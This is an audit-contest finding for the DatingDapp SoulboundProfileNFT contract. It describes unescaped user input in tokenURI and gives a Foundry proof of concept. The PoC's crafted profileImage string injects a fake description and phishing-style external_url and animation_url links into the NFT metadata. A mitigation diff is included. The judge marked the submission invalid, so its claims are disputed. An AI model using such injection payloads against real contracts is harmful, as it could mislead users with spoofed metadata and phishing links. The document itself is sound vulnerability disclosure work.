DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: low
Likelihood: low
Invalid

SoulboundProfileNFT::tokenURI splices user-supplied name and profileImage into JSON without escaping, so a profile owner can override the protocol description and inject keys, and a quote or backslash in a name makes the metadata invalid

Root + Impact

Description

  • tokenURI builds the profile's metadata JSON from a fixed protocol description ("A soulbound dating profile NFT.") and the stored name, Age attribute and image. The result should be well-formed JSON whose protocol-generated fields the profile owner cannot change.

  • mintProfile stores name and profileImage without any validation (L30, L37). tokenURI places them between literal quotes with abi.encodePacked (L93-L102) and escapes nothing. A " in profileImage closes the image string and lets the owner append extra members:

    • a duplicate description key, which last-key-wins parsers display instead of the protocol's;

    • new keys such as external_url or animation_url.

    A " or \ in name produces invalid JSON, and honest users can type either character.

// src/SoulboundProfileNFT.sol L30-L37: name and profileImage are stored as given
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
​
// Store metadata on-chain
@> _profiles[tokenId] = Profile(name, age, profileImage);
​
// src/SoulboundProfileNFT.sol L92-L103: the values are placed between literal quotes with no escaping
abi.encodePacked(
@> '{"name":"',
@> profileName,
'", ',
'"description":"A soulbound dating profile NFT.", ',
'"attributes": [{"trait_type": "Age", "value": ',
Strings.toString(profileAge),
"}], ",
@> '"image":"',
@> imageURI,
'"}'
)

Risk

Likelihood:

  • Any profile owner can do it at mint, with no preconditions. An honest user whose name contains a double quote or a backslash triggers the invalid-JSON case without meaning to.

  • Standard wallets and explorers see the effect only once the separately reported missing data:application/json;base64, prefix is fixed. Until then, only consumers that base64-decode the value themselves parse this JSON.

Impact:

  • A profile owner can replace the protocol's fixed description (the PoC shows "Verified by DatingDapp"). They can also add keys such as external_url and animation_url with arbitrary links, and these appear as protocol-generated metadata. The PoC also overrides the Age trait, but that adds nothing new, because age is already an unvalidated mint input.

  • A double quote or backslash in a name makes that profile's metadata unparseable. The effect is limited to the owner's own soulbound token, and no funds are at risk.

Proof of Concept

The PoC deploys SoulboundProfileNFT and includes a small Base64 decoder, because OpenZeppelin 5.0.2 provides only encode. Every test checks that decoding and re-encoding gives back the exact tokenURI output. The baseline shows that an honest profile yields valid JSON with the protocol description and Age 25.

The injection test mints with a crafted profileImage. The ProfileMinted event confirms that the stored age is 25 and that the string was stored unescaped. The resulting JSON is valid, and Foundry's JSON parser:

  • resolves the duplicate keys to the attacker's values (description "Verified by DatingDapp", Age 99);

  • cuts image to ipfs://x.png;

  • finds the added external_url and animation_url.

The third test shows that vm.parseJsonString fails on two names where the baseline parses: one containing double quotes, and one containing a backslash (C:\Users). Last-key-wins was shown with Foundry's parser only. JavaScript's JSON.parse also keeps the last duplicate, but that was not run here.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import {Base64} from "@openzeppelin/contracts/utils/Base64.sol";
import "../src/SoulboundProfileNFT.sol";
​
/// DD-09: mintProfile stores `name` and `profileImage` unvalidated, and tokenURI splices them
/// between literal JSON quotes with abi.encodePacked and no escaping. A profile owner can
/// therefore (a) close the "image" string and append arbitrary members, including duplicate
/// "description"/"attributes" keys that a last-key-wins parser displays instead of the
/// protocol's own values, and (b) produce JSON that no parser accepts (a `"` or `\` in name).
contract PoC_DD09 is Test {
SoulboundProfileNFT nft;
​
address honest = makeAddr("honest");
address attacker = makeAddr("attacker");
address quoted = makeAddr("quoted");
​
string constant PROTOCOL_DESC = "A soulbound dating profile NFT.";
​
function setUp() public {
nft = new SoulboundProfileNFT();
}
​
// ---------------------------------------------------------------- helpers
​
/// Minimal standard Base64 decoder (OZ 5.0.2 ships only `encode`).
function _b64decode(string memory s) internal pure returns (bytes memory out) {
bytes memory d = bytes(s);
require(d.length % 4 == 0, "b64 len");
uint256 pad;
if (d.length > 0 && d[d.length - 1] == "=") pad++;
if (d.length > 1 && d[d.length - 2] == "=") pad++;
out = new bytes((d.length / 4) * 3 - pad);
uint256 o;
for (uint256 i; i < d.length; i += 4) {
uint256 n = (_v(d[i]) << 18) | (_v(d[i + 1]) << 12) | (_v(d[i + 2]) << 6) | _v(d[i + 3]);
if (o < out.length) out[o++] = bytes1(uint8(n >> 16));
if (o < out.length) out[o++] = bytes1(uint8(n >> 8));
if (o < out.length) out[o++] = bytes1(uint8(n));
}
}
​
function _v(bytes1 c) internal pure returns (uint256) {
uint8 x = uint8(c);
if (x >= 65 && x <= 90) return x - 65; // A-Z
if (x >= 97 && x <= 122) return x - 71; // a-z
if (x >= 48 && x <= 57) return x + 4; // 0-9
if (x == 43) return 62; // +
if (x == 47) return 63; // /
if (x == 61) return 0; // =
revert("bad b64 char");
}
​
/// tokenURI -> decoded JSON text (also checks the round trip so the decoder is trusted).
function _json(uint256 id) internal view returns (string memory j) {
string memory uri = nft.tokenURI(id);
j = string(_b64decode(uri));
assertEq(Base64.encode(bytes(j)), uri, "decoder round-trip");
}
​
function _parses(string memory j) internal view returns (bool) {
try vm.parseJsonString(j, ".name") returns (string memory) {
return true;
} catch {
return false;
}
}
​
// ---------------------------------------------------------------- baseline
​
function test_baseline_honestProfileIsWellFormedProtocolMetadata() public {
vm.prank(honest);
nft.mintProfile("Alice", 25, "ipfs://alice.png");
uint256 id = nft.profileToToken(honest);
​
string memory j = _json(id);
console.log("baseline JSON :", j);
​
assertTrue(_parses(j), "honest metadata parses");
assertEq(vm.parseJsonString(j, ".name"), "Alice");
assertEq(vm.parseJsonString(j, ".description"), PROTOCOL_DESC);
assertEq(vm.parseJsonUint(j, ".attributes[0].value"), 25);
assertEq(vm.parseJsonString(j, ".image"), "ipfs://alice.png");
assertFalse(vm.keyExistsJson(j, ".external_url"));
}
​
// ---------------------------------------------------------------- limbs 1 + 2: injection
​
function test_injection_overridesProtocolDescriptionAndAddsKeys() public {
string memory evilImage = string.concat(
"ipfs://x.png\", ",
"\"description\":\"Verified by DatingDapp\", ",
"\"attributes\":[{\"trait_type\":\"Age\",\"value\":99}], ",
"\"external_url\":\"https://phish.example\", ",
"\"animation_url\":\"https://phish.example/a.html"
);
​
vm.recordLogs();
vm.prank(attacker);
nft.mintProfile("Mallory", 25, evilImage); // mint accepts it: no validation at all
uint256 id = nft.profileToToken(attacker);
assertEq(id, 1, "mint succeeded");
​
// The age actually passed to / stored by the contract is 25 (read back from the event).
Vm.Log[] memory logs = vm.getRecordedLogs();
// ProfileMinted(user indexed, tokenId, name, age, profileImage): data = (tokenId, name, age, image)
(uint256 evId, string memory evName, uint8 evAge, string memory evImg) =
abi.decode(logs[logs.length - 1].data, (uint256, string, uint8, string));
assertEq(evId, 1);
assertEq(evName, "Mallory");
assertEq(evAge, 25, "on-chain age is 25");
assertEq(evImg, evImage(), "raw string stored unescaped");
​
string memory j = _json(id);
console.log("injected JSON :", j);
​
// The document still parses -- the injection is syntactically clean ...
assertTrue(_parses(j), "injected metadata is valid JSON");
​
// ... and the genuine protocol members are still physically present in the text ...
assertTrue(vm.keyExistsJson(j, ".description"));
// ... but the parser resolves the duplicated keys to the attacker's (last) values.
string memory desc = vm.parseJsonString(j, ".description");
uint256 shownAge = vm.parseJsonUint(j, ".attributes[0].value");
console.log("parsed description :", desc);
console.log("parsed Age trait :", shownAge);
assertEq(desc, "Verified by DatingDapp", "protocol description overridden");
assertTrue(keccak256(bytes(desc)) != keccak256(bytes(PROTOCOL_DESC)));
assertEq(shownAge, 99, "Age trait shows 99, not the minted 25");
​
// image is truncated to the attacker's prefix, and new members were added.
assertEq(vm.parseJsonString(j, ".image"), "ipfs://x.png");
assertTrue(vm.keyExistsJson(j, ".external_url"), "external_url injected");
assertTrue(vm.keyExistsJson(j, ".animation_url"), "animation_url injected");
assertEq(vm.parseJsonString(j, ".external_url"), "https://phish.example");
console.log("injected external_url:", vm.parseJsonString(j, ".external_url"));
}
​
// helper so the constant string above can be compared against the event payload
function evImage() internal pure returns (string memory) {
return string.concat(
"ipfs://x.png\", ",
"\"description\":\"Verified by DatingDapp\", ",
"\"attributes\":[{\"trait_type\":\"Age\",\"value\":99}], ",
"\"external_url\":\"https://phish.example\", ",
"\"animation_url\":\"https://phish.example/a.html"
);
}
​
// ---------------------------------------------------------------- limb 3: unparseable metadata
​
function test_quoteOrBackslashInName_makesMetadataUnparseable() public {
// An honest user whose display name contains double quotes.
vm.prank(quoted);
nft.mintProfile("Bob \"The Builder\"", 30, "ipfs://bob.png");
string memory j1 = _json(nft.profileToToken(quoted));
console.log("quote-in-name JSON :", j1);
assertFalse(_parses(j1), "a double quote in name breaks the JSON");
​
// A backslash produces an invalid escape sequence.
address bs = makeAddr("backslash");
vm.prank(bs);
nft.mintProfile("C:\\Users", 30, "ipfs://c.png");
string memory j2 = _json(nft.profileToToken(bs));
console.log("backslash-in-name JSON:", j2);
assertFalse(_parses(j2), "a backslash in name breaks the JSON");
​
// Mitigating context: tokenURI has no data: header (_baseURI() is ""), so the
// return value is bare Base64 that standard consumers do not decode at all.
bytes memory uri = bytes(nft.tokenURI(nft.profileToToken(quoted)));
bytes memory head = new bytes(5);
for (uint256 i; i < 5; i++) head[i] = uri[i];
assertTrue(keccak256(head) != keccak256("data:"), "no data:application/json prefix");
}
}

Run from the repository root, with the file saved as test/PoC_DD-09.t.sol:

FOUNDRY_FFI=false FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-path test/PoC_DD-09.t.sol -vv

Result: Suite result: ok. 3 passed; 0 failed; 0 skipped. The logs show parsed description : Verified by DatingDapp and injected external_url: https://phish.example.

Recommended Mitigation

Reject characters that can break out of a JSON string, or escape them in tokenURI.

--- a/src/SoulboundProfileNFT.sol
+++ b/src/SoulboundProfileNFT.sol
@@ -26,9 +26,19 @@
constructor() ERC721("DatingDapp", "DTN") Ownable(msg.sender) {}
+ /// @dev Rejects characters that would break out of a JSON string in tokenURI
+ function _isJsonSafe(string memory s) internal pure returns (bool) {
+ bytes memory b = bytes(s);
+ for (uint256 i; i < b.length; i++) {
+ if (b[i] == '"' || b[i] == "\\" || uint8(b[i]) < 0x20) return false;
+ }
+ return true;
+ }
+
/// @notice Mint a soulbound NFT representing the user's profile.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
+ require(_isJsonSafe(name) && _isJsonSafe(profileImage), "Invalid characters in profile");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!